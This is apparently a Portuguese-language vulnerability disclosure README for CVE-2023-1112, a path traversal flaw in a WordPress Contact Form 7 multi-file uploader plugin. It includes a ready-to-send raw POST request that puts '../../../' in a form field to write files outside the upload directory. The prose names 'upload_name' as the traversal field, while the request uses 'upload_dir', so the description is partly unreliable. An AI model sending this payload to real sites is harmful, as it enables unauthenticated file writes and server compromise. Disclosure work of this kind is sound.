nickguitar/drag-and-drop-multiple-file-uploader-pro-path-traversalUploader de Múltiplos Arquivos por Arrastar e Soltar PRO - Contact Form 7 v5.0.6.1 Path Traversal (CVE-2023-1112)
Path Traversal no Drag and Drop Multiple File Uploader PRO - Contact Form 7 versão 5.0.6.1 permite que um atacante remoto não autenticado faça upload de arquivos em qualquer lugar gravável no servidor remoto (CVE-2023-1112).
Para explorar essa vulnerabilidade, o atacante precisa fazer upload de um arquivo usando o formulário do plugin. Nessa requisição POST, é necessário o parâmetro upload_name, cujo valor é o nome da pasta para a qual o arquivo será enviado. O atacante pode colocar qualquer coisa que quiser, como ../, ../../../, foldername (isso criará a pasta "foldername" no diretório de upload), etc.
POST /wp-admin/admin-ajax.php HTTP/2
Host: example.org
Content-Length: 756
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIzvIrbHjHpxzepPi
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="size_limit"
2e+9
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload_dir"
../../../
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="post_id"
1868
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="security"
0a4dca2b89
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="form_id"
9210
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload_name"
foto
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload-file"; filename="pngout.png"
Content-Type: image/png
// image contents
------WebKitFormBoundaryIzvIrbHjHpxzepPi--
